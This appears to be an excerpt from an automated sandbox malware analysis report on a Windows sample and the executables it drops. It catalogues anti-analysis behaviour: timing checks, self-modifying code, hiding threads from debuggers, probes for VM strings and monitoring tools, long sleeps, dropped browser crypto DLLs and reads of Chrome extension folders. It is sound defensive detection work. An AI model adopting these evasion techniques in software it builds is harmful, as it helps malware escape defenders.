Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120A80 second address: 5120A84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120A84 second address: 5120A93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120A93 second address: 5120A97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120A97 second address: 5120A9D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120A9D second address: 5120AE3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8B8D1B40Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FE8B8D1B40Bh 0x0000000f xchg eax, esi 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jmp 00007FE8B8D1B40Bh 0x00000018 jmp 00007FE8B8D1B418h 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120AE3 second address: 5120AE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120AE9 second address: 5120B03 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+08h] 0x0000000b pushad 0x0000000c mov bx, D23Ah 0x00000010 mov bh, D8h 0x00000012 popad 0x00000013 sub ebx, ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120B03 second address: 5120B2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FE8B9931192h 0x0000000a xor ecx, 7ACE76A8h 0x00000010 jmp 00007FE8B993118Bh 0x00000015 popfd 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120B2D second address: 5120B45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE8B8D1B414h 0x00000009 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 60E888 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 60E94A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 844E52 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 2CE888 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 2CE94A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 504E52 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Special instruction interceptor: First address: 9ABB00 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Special instruction interceptor: First address: B7E8DC instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Special instruction interceptor: First address: BE8A66 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Special instruction interceptor: First address: B3FC06 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Special instruction interceptor: First address: D0AB6F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Special instruction interceptor: First address: D7879C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Special instruction interceptor: First address: A2D7EA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Special instruction interceptor: First address: A2D8F7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Special instruction interceptor: First address: A2D811 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Special instruction interceptor: First address: BD899F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Special instruction interceptor: First address: C5E8EA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Special instruction interceptor: First address: A3207F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe	Special instruction interceptor: First address: 8D4B89 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe	Special instruction interceptor: First address: 8D4C73 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe	Special instruction interceptor: First address: A88B15 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Memory allocated: 5340000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Memory allocated: 5340000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Memory allocated: 7340000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Memory allocated: 49C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Memory allocated: 4B60000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Memory allocated: 6B60000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_051A0CAD rdtsc

0_2_051A0CAD

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe

API coverage: 0.8 %

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7488	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4304	Thread sleep count: 114 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4304	Thread sleep time: -228114s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1148	Thread sleep count: 276 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1148	Thread sleep time: -8280000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2588	Thread sleep count: 79 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2588	Thread sleep time: -158079s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2912	Thread sleep count: 100 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 2912	Thread sleep time: -200100s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7576	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7512	Thread sleep count: 100 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7512	Thread sleep time: -200100s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3120	Thread sleep count: 112 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3120	Thread sleep time: -224112s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 1148	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe TID: 7628	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe TID: 7632	Thread sleep time: -50025s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe TID: 7608	Thread sleep time: -52026s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe TID: 7980	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe TID: 7984	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe TID: 7968	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe TID: 7964	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe TID: 7976	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe TID: 5472	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe TID: 8172	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe TID: 352	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe TID: 1028	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe TID: 7388	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe TID: 7272	Thread sleep count: 161 > 30
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe TID: 7272	Thread sleep time: -966000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe TID: 7344	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe TID: 7596	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe

Code function: 9_2_6BF3C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

9_2_6BF3C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000006.00000002.2948645288.0000000000457000.00000040.00000001.01000000.00000007.sdmp, 45de1d3aba.exe, 45de1d3aba.exe, 00000007.00000002.2948873008.0000000000B36000.00000040.00000001.01000000.00000009.sdmp, baacd96df2.exe, baacd96df2.exe, 00000009.00000002.2951730998.0000000000CC6000.00000040.00000001.01000000.0000000A.sdmp, 45de1d3aba.exe, 0000000A.00000002.2947930522.0000000000B36000.00000040.00000001.01000000.00000009.sdmp, baacd96df2.exe, 0000001D.00000002.2950473019.0000000000CC6000.00000040.00000001.01000000.0000000A.sdmp, bec28015e3.exe, 0000001E.00000002.2859783435.0000000000BA9000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: firefox.exe, 0000001C.00000002.2776833677.00000207D402A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`\
Source: firefox.exe, 0000002C.00000002.3075408952.000001C4C401E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: firefox.exe, 0000002C.00000002.3330248141.000001C4D1A90000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6
Source: skotes.exe, 00000006.00000002.2956499086.0000000000EC9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2956499086.0000000000E99000.00000004.00000020.00020000.00000000.sdmp, 45de1d3aba.exe, 00000007.00000003.2777250463.0000000001142000.00000004.00000020.00020000.00000000.sdmp, 45de1d3aba.exe, 00000007.00000002.2955845498.0000000001142000.00000004.00000020.00020000.00000000.sdmp, baacd96df2.exe, 00000009.00000002.2958384955.0000000001494000.00000004.00000020.00020000.00000000.sdmp, baacd96df2.exe, 00000009.00000002.2958384955.00000000014C4000.00000004.00000020.00020000.00000000.sdmp, 45de1d3aba.exe, 0000000A.00000002.2955620510.00000000014BF000.00000004.00000020.00020000.00000000.sdmp, 45de1d3aba.exe, 0000000A.00000002.2955620510.00000000014FC000.00000004.00000020.00020000.00000000.sdmp, 45de1d3aba.exe, 0000000A.00000003.2932751935.00000000014FC000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2776833677.00000207D402A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: baacd96df2.exe, 0000001D.00000002.2956257194.00000000010FB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: firefox.exe, 0000001C.00000002.2780587589.00000207D4513000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: 45de1d3aba.exe, 00000007.00000002.2955845498.00000000010FA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: firefox.exe, 0000001C.00000002.2781124793.00000207D4940000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWw2z
Source: baacd96df2.exe, 00000009.00000002.2958384955.000000000144E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware2
Source: firefox.exe, 0000001F.00000002.2780315511.0000026532070000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW,
Source: file.exe, 00000000.00000002.1705936362.0000000000797000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1741074204.0000000000457000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000002.00000002.1741292892.0000000000457000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000002.2948645288.0000000000457000.00000040.00000001.01000000.00000007.sdmp, 45de1d3aba.exe, 00000007.00000002.2948873008.0000000000B36000.00000040.00000001.01000000.00000009.sdmp, baacd96df2.exe, 00000009.00000002.2951730998.0000000000CC6000.00000040.00000001.01000000.0000000A.sdmp, 45de1d3aba.exe, 0000000A.00000002.2947930522.0000000000B36000.00000040.00000001.01000000.00000009.sdmp, baacd96df2.exe, 0000001D.00000002.2950473019.0000000000CC6000.00000040.00000001.01000000.0000000A.sdmp, bec28015e3.exe, 0000001E.00000002.2859783435.0000000000BA9000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: firefox.exe, 0000001C.00000002.2781124793.00000207D4940000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll_
Source: firefox.exe, 0000002C.00000002.3075408952.000001C4C3FE9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW!
Source: firefox.exe, 0000001C.00000002.2776833677.00000207D402A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2781124793.00000207D4940000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2780315511.0000026532070000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3075408952.000001C4C401E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe	Process queried: DebugPort
